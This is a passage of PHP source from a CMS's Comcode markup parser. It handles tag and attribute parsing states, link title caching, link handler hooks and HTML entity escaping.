(strpos($GLOBALS['HTTP_DOWNLOAD_MIME_TYPE'],'html')!==false) && ($GLOBALS['HTTP_MESSAGE']=='200'))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#\\s*<title[^>]*\\s*>\\s*(.*)\\s*\\s*<\\s*/title\\s*>#miU',$downloaded_at_link,$matches)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\trequire_code('character_sets');\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_captions_title=trim(str_replace('&ndash;','-',str_replace('&mdash;','-',@html_entity_decode(convert_to_internal_encoding($matches[1]),ENT_QUOTES,get_charset()))));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (((strpos(strtolower($link_captions_title),'login')!==false) || (strpos(strtolower($link_captions_title),'log in')!==false)) && (substr($auto_link,0,strlen(get_base_url()))==get_base_url()))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_captions_title=''; // don't show login screen titles for our own website. Better to see the link verbatim\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$GLOBALS['SITE_DB']->query_insert('url_title_cache',array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t't_url'=>substr($auto_link,0,255),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t't_title'=>substr($link_captions_title,0,255),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t),false,true); // To stop weird race-like conditions\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=mixed();\n\t\t\t\t\t\t\t\t\t\t\t\t$link_handlers=find_all_hooks('systems','comcode_link_handlers');\n\t\t\t\t\t\t\t\t\t\t\t\tforeach (array_keys($link_handlers) as $link_handler)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\trequire_code('hooks/systems/comcode_link_handlers/'.$link_handler);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$link_handler_ob=object_factory('Hook_comcode_link_handler_'.$link_handler,true);\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (is_null($link_handler_ob)) continue;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=$link_handler_ob->bind($auto_link,$link_captions_title,$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,$highlight_bits);\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (!is_null($embed_output)) break;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\tif (is_null($embed_output))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$page_link=url_to_pagelink($auto_link,true);\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($link_captions_title=='') $link_captions_title=$auto_link;\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($page_link!='')\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=_do_tags_comcode('page',array('param'=>$page_link),make_string_tempcode(escape_html($link_captions_title)),$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,$highlight_bits);\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=_do_tags_comcode('url',array('param'=>$link_captions_title),$auto_link_tempcode,$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,$highlight_bits);\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t} else $embed_output=new ocp_tempcode();\n\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t\t\t\t\t\t\t\t$pos+=$link_end_pos-$pos;\n\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (!$differented)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (($stupidity_mode!='') && ($textual_area))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($stupidity_mode=='leet') && (mt_rand(0,1)==1))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (array_key_exists(strtoupper($next),$LEET_FILTER)) $next=$LEET_FILTER[strtoupper($next)];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\telseif (($stupidity_mode=='bork') && (mt_rand(0,60)==1))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$next.='-bork-bork-bork-';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ((!$in_separate_parse_section) && ((!$in_semihtml) || ((!$comcode_dangerous_html)/*If we don't support HTML and we haven't done the all_semihtml pre-filter at the top*/ && (!$is_all_semihtml)))) // Display char. We try and support entities\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($next=='&')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$ahead=substr($comcode,$pos,20);\n\t\t\t\t\t\t\t\t\t\t$ahead_lower=strtolower($ahead);\n\t\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\t\t$entity=preg_match('#^(\\#)?([\\w]*);#',$ahead_lower,$matches)!=0; // If it is a SAFE entity, use it\n\n\t\t\t\t\t\t\t\t\t\tif (($entity) && (!$in_code_tag))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (($matches[1]=='') && (($in_semihtml) || (isset($ALLOWED_ENTITIES[$matches[2]]))))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($matches[2])+1;\n\t\t\t\t\t\t\t\t\t\t\t\t$continuation.='&'.$matches[2].';';\n\t\t\t\t\t\t\t\t\t\t\t} elseif ((is_numeric($matches[2])) && ($matches[1]=='#'))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$matched_entity=intval(base_convert($matches[2],16,10));\n\t\t\t\t\t\t\t\t\t\t\t\tif (($matched_entity<127) && (array_key_exists(chr($matched_entity),$POTENTIAL_JS_NAUGHTY_ARRAY)))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$continuation.=escape_html($next);\n\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($matches[2])+2;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$continuation.='&#'.$matches[2].';';\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$continuation.='&amp;';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$continuation.='&amp;';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$continuation.=escape_html($next);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$continuation.=$next;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_NAME:\n\t\t\t\tif (($mindless_mode) && ($next!='[')) $tag_raw.=($next);\n\n\t\t\t\tif ($next=='=')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_RIGHT;\n\t\t\t\t\t$current_attribute_name='param';\n\t\t\t\t}\n\t\t\t\telseif (trim($next)=='')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t}\n\t\t\t\telseif ($next=='[')\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_OPEN_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$next=']';\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\tif ($next==']')\n\t\t\t\t{\n\t\t\t\t\tif ($close)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($formatting_allowed)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (count($tag_stack)==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($lax)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_NO_CLOSE',$current_tag),strrpos(substr($comcode,0,$pos),'['),$comcode,$check_only);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$has_it=false;\n\t\t\t\t\t\tforeach (array_reverse($tag_stack) as $t)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($t[0]==$current_tag)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$has_it=true;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (($in_semihtml) && (($current_tag=='html') || ($current_tag=='semihtml'))) // Only search one level for this\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($has_it)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$_last=array_pop($tag_stack);\n\t\t\t\t\t\t\tif ($_last[0]!=$current_tag)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (!$lax)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_NO_CLOSE_MATCH',$current_tag,$_last[0]),$pos,$comcode,$check_only);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tdo\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$embed_output=_do_tags_comcode($_last[0],$_last[1],$tag_output,$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,NULL,NULL,$in_semihtml,$is_all_semihtml);\n\t\t\t\t\t\t\t\t\t$in_code_tag=false;\n\t\t\t\t\t\t\t\t\t$white_space_area=$_last[3];\n\t\t\t\t\t\t\t\t\t$in_separate_parse_section=$_last[4];\n\t\t\t\t\t\t\t\t\t$formatting_allowed=$_last[5];\n\t\t\t\t\t\t\t\t\t$textual_area=$_last[6];\n\t\t\t\t\t\t\t\t\t$tag_output=$_last[2];\n\t\t\t\t\t\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t\t\t\t\t\t$mindless_mode=$_last[7];\n\t\t\t\t\t\t\t\t\t$comcode_dangerous=$_last[8];\n\t\t\t\t\t\t\t\t\t$comcode_dangerous_html=$_last[9];\n\n\t\t\t\t\t\t\t\t\tif (count($tag_stack)==0) // Hmm, it was never open. So let's pretend this tag close never happened\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t\t\t\t\t\tbreak 2;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$_last=array_pop($tag_stack);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\twhile ($_last[0]!=$current_tag);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$extraneous_semihtml=((!$is_all_semihtml) && (!$in_semihtml)) || (($current_tag!='html') && ($current_tag!='semihtml'));\n\t\t\t\t\t\t\tif ((!$lax) && ($extraneous_semihtml))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$_last=array_pop($tag_stack);\n\t\t\t\t\t\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_NO_CLOSE_MATCH',$current_tag,$_last[0]),$pos,$comcode,$check_only);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Do the comcode for this tag\n\t\t\t\t\t\tif ($in_semihtml) // We need to perform some magic to clean up the Comcode sections\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tforeach ($_last[1] as $index=>$conv)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$_last[1][$index]=@html_entity_decode(str_replace('<br />',chr(10),$conv),ENT_QUOTES,get_charset());\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$mindless_mode=$_last[7];\n\n\t\t\t\t\t\tif ($mindless_mode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$embed_output=$tag_output;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (!$check_only)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$_structure_sweep=false;\n\t\t\t\t\t\t\tif ($structure_sweep)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$_structure_sweep=!in_tag_stack($tag_stack,array('title'));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$embed_output=_do_tags_comcode($_last[0],$_last[1],$tag_output,$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$_structure_sweep,$semiparse_mode,$highlight_bits,NULL,$in_semihtml,$is_all_semihtml);\n\t\t\t\t\t\t} else $embed_output=new ocp_tempcode();\n\n\t\t\t\t\t\t$in_code_tag=false;\n\t\t\t\t\t\t$white_space_area=$_last[3];\n\t\t\t\t\t\t$in_separate_parse_section=$_last[4];\n\t\t\t\t\t\t$formatting_allowed=$_last[5];\n\t\t\t\t\t\t$textual_area=$_last[6];\n\t\t\t\t\t\t$tag_output=$_last[2];\n\t\t\t\t\t\t$comcode_dangerous=$_last[8];\n\t\t\t\t\t\t$comcode_dangerous_html=$_last[9];\n\t\t\t\t\t\tif (($print_mode) && ($_last[0]=='exp_thumb'))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$queued_tempcode->attach($embed_output);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$just_ended=isset($BLOCK_TAGS[$current_tag]);\n\n\t\t\t\t\t\tif ($current_tag=='title')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ((strlen($comcode)>$pos+1) && ($comcode[$pos]==chr(10)) && ($comcode[$pos+1]==chr(10))) // Linux newline\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$NUM_LINES+=2;\n\t\t\t\t\t\t\t\t$pos+=2;\n\t\t\t\t\t\t\t\t$just_new_line=true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ($current_tag=='html') $in_html=false;\n\t\t\t\t\t\telseif ($current_tag=='semihtml') $in_semihtml=false;\n\t\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($current_tag=='title')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$just_new_line=false;\n\t\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tarray_push($tag_stack,array($current_tag,$attribute_map,$tag_output,$white_space_area,$in_separate_parse_section,$formatting_allowed,$textual_area,$mindless_mode,$comcode_dangerous,$comcode_dangerous_html));\n\n\t\t\t\t\t\tlist($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag)=_opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,$len,$comcode);\n\t\t\t\t\t\tif ($in_code_tag) $code_nest_stack=0;\n\t\t\t\t\t}\n\n\t\t\t\t\t$tag_output->attach($tag_raw);\n\n\t\t\t\t\tif (($close) && ($mindless_mode))\n\t\t\t\t\t{\n\t\t\t\t\t\t$temp_tpl='</kbd>&#8203;';\n\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telseif ($status==CCP_IN_TAG_NAME) $current_tag.=strtolower($next);\n\t\t\t\tbreak;\n\t\t\tcase CCP_STARTING_TAG:\n\t\t\t\tif (($mindless_mode) && ($next!='[')) $tag_raw.=($next);\n\n\t\t\t\tif ($next=='[') // Can't actually occur though\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_OPEN_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\telseif ($next==']') // Can't actual occur though\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_CLOSE_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t}\n\t\t\t\telseif ($next=='/')\n\t\t\t\t{\n\t\t\t\t\t$close=true;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$current_tag.=strtolower($next);\n\t\t\t\t\t$status=CCP_IN_TAG_NAME;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_BETWEEN_ATTRIBUTES:\n\t\t\t\tif (($mindless_mode) && ($next!='[')) $tag_raw.=($next);\n\n\t\t\t\tif ($next==']')\n\t\t\t\t{\n\t\t\t\t\tif ($current_tag=='title')\n\t\t\t\t\t{\n\t\t\t\t\t\t$just_new_line=false;\n\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t}\n\n\t\t\t\t\tarray_push($tag_stack,array($current_tag,$attribute_map,$tag_output,$white_space_area,$in_separate_parse_section,$formatting_allowed,$textual_area,$mindless_mode,$comcode_dangerous,$comcode_dangerous_html));\n\n\t\t\t\t\tlist($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag)=_opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,$len,$comcode);\n\t\t\t\t\tif ($in_code_tag) $code_nest_stack=0;\n\n\t\t\t\t\t$tag_output->attach($tag_raw);\n\t\t\t\t}\n\t\t\t\telseif ($next=='[')\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_OPEN_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\tif ($current_tag=='title')\n\t\t\t\t\t{\n\t\t\t\t\t\t$just_new_line=false;\n\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t}\n\n\t\t\t\t\tarray_push($tag_stack,array($current_tag,$attribute_map,$tag_output,$white_space_area,$in_separate_parse_section,$formatting_allowed,$textual_area,$mindless_mode,$comcode_dangerous,$comcode_dangerous_html));\n\n\t\t\t\t\tlist($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag)=_opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,$len,$comcode);\n\t\t\t\t\tif ($in_code_tag) $code_nest_stack=0;\n\n\t\t\t\t\t$tag_output->attach($tag_raw);\n\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\telseif (trim($next)!='')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_IN_TAG_ATTRIBUTE_NAME;\n\t\t\t\t\t$current_attribute_name=$next;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_ATTRIBUTE_NAME:\n\t\t\t\tif (($mindless_mode) && ($next!='[')) $tag_raw.=($next);\n\n\t\t\t\tif ($next=='[')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t$pos--;\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_OPEN_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\tif ($current_tag=='title')\n\t\t\t\t\t{\n\t\t\t\t\t\t$just_new_line=false;\n\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t}\n\n\t\t\t\t\tarray_push($tag_stack,array($current_tag,$attribute_map,$tag_output,$white_space_area,$in_separate_parse_section,$formatting_allowed,$textual_area,$mindless_mode,$comcode_dangerous,$comcode_dangerous_html));\n\n\t\t\t\t\tlist($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag)=_opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,$len,$comcode);\n\t\t\t\t\tif ($in_code_tag) $code_nest_stack=0;\n\n\t\t\t\t\t$tag_output->attach($tag_raw);\n\t\t\t\t}\n\t\t\t\telseif ($next==']')\n\t\t\t\t{\n\t\t\t\t\tif (($attribute_map==array()) && (!$lax))\n\t\t\t\t\t{\n\t\t\t\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_TAG_CLOSE_ANOMALY'),$pos,$comcode,$check_only);\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($attribute_map!=array())\n\t\t\t\t\t{\n\t\t\t\t\t\t$at_map_keys=array_keys($attribute_map);\n\t\t\t\t\t\t$old_attribute_name=$at_map_keys[count($at_map_keys)-1];\n\t\t\t\t\t\t$attribute_map[$old_attribute_name].=' '.$current_attribute_name;\n\t\t\t\t\t}\n\n\t\t\t\t\tarray_push($tag_stack,array($current_tag,$attribute_map,$tag_output,$white_space_area,$in_separate_parse_section,$formatting_allowed,$textual_area,$mindless_mode,$comcode_dangerous,$comcode_dangerous_html));\n\n\t\t\t\t\tlist($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag)=_opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,$len,$comcode);\n\t\t\t\t\tif ($in_code_tag) $code_nest_stack=0;\n\n\t\t\t\t\t$tag_output->attach($tag_raw);\n\t\t\t\t}\n\t\t\t\telseif ($next=='=') $status=CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_RIGHT;\n\t\t\t\telseif ($next!=' ') $current_attribute_name.=strtolower($next);\n\t\t\t\telse $status=CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_LEFT;\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_LEFT:\n\t\t\t\tif (($mindless_mode) && ($next!='[') && ($next!=']')) $tag_raw.=($next);\n\n\t\t\t\tif ($next=='=') $status=CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_RIGHT;\n\t\t\t\telseif (trim($next)!='')\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_ATTRIBUTE_ERROR',$current_attribute_name,$current_tag),$pos,$comcode,$check_only);\n\n\t\t\t\t\tif ($next=='[')\n\t\t\t\t\t{\n\t\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\t\t$pos--;\n\t\t\t\t\t}\n\t\t\t\t\telseif ($next==']')\n\t\t\t\t\t{\n\t\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\t\t$pos--;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_RIGHT:\n\t\t\t\tif (($mindless_mode) && ($next!='[') && ($next!=']')) $tag_raw.=($next);\n\n\t\t\t\tif ($next=='[') // Can't actually occur though\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_OPEN_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\telseif ($next==']') // Can't actually occur though\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_CLOSE_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\telseif ((($next=='\"')/* && (!$in_semihtml)*/) || (($in_semihtml) && (substr($comcode,$pos-1,6)=='&quot;')))\n\t\t\t\t{\n\t\t\t\t\tif ($next!='\"')\n\t\t\t\t\t{\n\t\t\t\t\t\t$pos+=5;\n\t\t\t\t\t\tif ($mindless_mode) $tag_raw.='quot;';\n\t\t\t\t\t}\n\t\t\t\t\t$status=CCP_IN_TAG_ATTRIBUTE_VALUE;\n\t\t\t\t\t$current_attribute_value='';\n\t\t\t\t}\n\t\t\t\telseif ($next!='')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_IN_TAG_ATTRIBUTE_VALUE_NO_QUOTE;\n\t\t\t\t\t$current_attribute_value=$next;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_ATTRIBUTE_VALUE_NO_QUOTE:\n\t\t\t\tif (($mindless_mode) && ($next!=']')) $tag_raw.=($next);\n\n\t\t\t\tif ($next==' ')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\tif ((isset($attribute_map[$current_attribute_name])) && (!$lax)) return comcode_parse_error($preparse_mode,array('CCP_DUPLICATE_ATTRIBUTES',$current_attribute_name,$current_tag),$pos,$comcode,$check_only);\n\t\t\t\t\t$attribute_map[$current_attribute_name]=$current_attribute_value;\n\t\t\t\t}\n\t\t\t\telseif ($next==']')\n\t\t\t\t{\n\t\t\t\t\tif 